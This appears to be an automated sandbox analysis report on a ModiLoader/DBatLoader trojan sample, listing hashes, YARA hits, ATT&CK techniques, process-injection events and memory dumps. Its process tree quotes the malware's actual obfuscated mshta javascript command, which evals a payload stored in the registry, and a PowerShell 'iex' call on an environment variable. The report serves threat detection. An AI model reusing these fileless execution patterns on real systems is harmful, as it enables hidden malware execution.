modiloader | 9f533933aba6f3736522714a4481dd3a1bf06d3498381452c0b6dcbb16ff4ec7

General

Target

fd2efadd6e960bf525758c77a667b6be_JaffaCakes118.exe
Size

264KB
MD5

fd2efadd6e960bf525758c77a667b6be
SHA1

fddb9d7a056df88fa0adb43221c0bc16820891eb
SHA256

9f533933aba6f3736522714a4481dd3a1bf06d3498381452c0b6dcbb16ff4ec7
SHA512

1c6210a51c2572e35242b8cead79a8fa88c1bb85bb966583dc38edd69b4f7028bec243c909cfde728495bba63a0284b4e5e36439912edc60af0075430079a6b6
SSDEEP

6144:TFC/hcBSp5ncSA8EffnS/9ehFjaDOmLEf8esbr:xwSBSphiHS0hFrTf8B3

Score

10^/10

modiloader discovery execution trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2712	1592	mshta.exe	92

ModiLoader Second Stage 10 IoCs

resource	yara_rule
behavioral2/memory/4092-3-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral2/memory/4092-4-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral2/memory/4092-5-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral2/memory/4092-6-0x0000000000770000-0x0000000000846000-memory.dmp	modiloader_stage2
behavioral2/memory/4092-10-0x0000000000770000-0x0000000000846000-memory.dmp	modiloader_stage2
behavioral2/memory/4092-9-0x0000000000770000-0x0000000000846000-memory.dmp	modiloader_stage2
behavioral2/memory/4092-8-0x0000000000770000-0x0000000000846000-memory.dmp	modiloader_stage2
behavioral2/memory/4092-7-0x0000000000770000-0x0000000000846000-memory.dmp	modiloader_stage2
behavioral2/memory/4092-11-0x0000000000770000-0x0000000000846000-memory.dmp	modiloader_stage2
behavioral2/memory/4092-12-0x0000000000770000-0x0000000000846000-memory.dmp	modiloader_stage2

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	mshta.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3840	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2464 set thread context of 4092	2464	fd2efadd6e960bf525758c77a667b6be_JaffaCakes118.exe	91

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fd2efadd6e960bf525758c77a667b6be_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fd2efadd6e960bf525758c77a667b6be_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3840	powershell.exe
3840	powershell.exe
3840	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3840	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2464	fd2efadd6e960bf525758c77a667b6be_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2464 wrote to memory of 4092	2464	fd2efadd6e960bf525758c77a667b6be_JaffaCakes118.exe	91
PID 2464 wrote to memory of 4092	2464	fd2efadd6e960bf525758c77a667b6be_JaffaCakes118.exe	91
PID 2464 wrote to memory of 4092	2464	fd2efadd6e960bf525758c77a667b6be_JaffaCakes118.exe	91
PID 2464 wrote to memory of 4092	2464	fd2efadd6e960bf525758c77a667b6be_JaffaCakes118.exe	91
PID 2464 wrote to memory of 4092	2464	fd2efadd6e960bf525758c77a667b6be_JaffaCakes118.exe	91
PID 2464 wrote to memory of 4092	2464	fd2efadd6e960bf525758c77a667b6be_JaffaCakes118.exe	91
PID 2464 wrote to memory of 4092	2464	fd2efadd6e960bf525758c77a667b6be_JaffaCakes118.exe	91
PID 2464 wrote to memory of 4092	2464	fd2efadd6e960bf525758c77a667b6be_JaffaCakes118.exe	91
PID 2464 wrote to memory of 4092	2464	fd2efadd6e960bf525758c77a667b6be_JaffaCakes118.exe	91
PID 2464 wrote to memory of 4092	2464	fd2efadd6e960bf525758c77a667b6be_JaffaCakes118.exe	91
PID 2712 wrote to memory of 3840	2712	mshta.exe	94
PID 2712 wrote to memory of 3840	2712	mshta.exe	94
PID 2712 wrote to memory of 3840	2712	mshta.exe	94

C:\Users\Admin\AppData\Local\Temp\fd2efadd6e960bf525758c77a667b6be_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\fd2efadd6e960bf525758c77a667b6be_JaffaCakes118.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2464
- C:\Users\Admin\AppData\Local\Temp\fd2efadd6e960bf525758c77a667b6be_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\fd2efadd6e960bf525758c77a667b6be_JaffaCakes118.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4092

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:xs2oWCU7T="KDQaM";Kc25=new%20ActiveXObject("WScript.Shell");r1BzfmKi9="JlXM7s";ms2UN=Kc25.RegRead("HKLM\\software\\Wow6432Node\\SoJouA7AeJ\\j43F8VI");LPNP36="AY";eval(ms2UN);UVuqw8N="LiPr6";
1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2712
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:ztmnweyi
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3840

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3932,i,4356837537417149674,16553092232944545509,262144 --variations-seed-version --mojo-platform-channel-handle=4120 /prefetch:8
1⤵
PID:4896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_20w2d1wl.fyu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3840-14-0x0000000004FE0000-0x0000000005016000-memory.dmp

Filesize
216KB

Download
memory/3840-18-0x0000000005E90000-0x0000000005EF6000-memory.dmp

Filesize
408KB

Download
memory/3840-31-0x0000000007B50000-0x00000000081CA000-memory.dmp

Filesize
6.5MB

Download
memory/3840-29-0x00000000063A0000-0x00000000063BE000-memory.dmp

Filesize
120KB

Download
memory/3840-28-0x0000000005F00000-0x0000000006254000-memory.dmp

Filesize
3.3MB

Download
memory/3840-17-0x0000000005E20000-0x0000000005E86000-memory.dmp

Filesize
408KB

Download
memory/3840-16-0x00000000055F0000-0x0000000005612000-memory.dmp

Filesize
136KB

Download
memory/3840-15-0x0000000005780000-0x0000000005DA8000-memory.dmp

Filesize
6.2MB

Download
memory/3840-32-0x0000000007440000-0x000000000745A000-memory.dmp

Filesize
104KB

Download
memory/3840-30-0x00000000063D0000-0x000000000641C000-memory.dmp

Filesize
304KB

Download
memory/4092-11-0x0000000000770000-0x0000000000846000-memory.dmp

Filesize
856KB

Download
memory/4092-7-0x0000000000770000-0x0000000000846000-memory.dmp

Filesize
856KB

Download
memory/4092-8-0x0000000000770000-0x0000000000846000-memory.dmp

Filesize
856KB

Download
memory/4092-5-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/4092-4-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/4092-9-0x0000000000770000-0x0000000000846000-memory.dmp

Filesize
856KB

Download
memory/4092-10-0x0000000000770000-0x0000000000846000-memory.dmp

Filesize
856KB

Download
memory/4092-3-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/4092-6-0x0000000000770000-0x0000000000846000-memory.dmp

Filesize
856KB

Download
memory/4092-12-0x0000000000770000-0x0000000000846000-memory.dmp

Filesize
856KB

Download

Analysis

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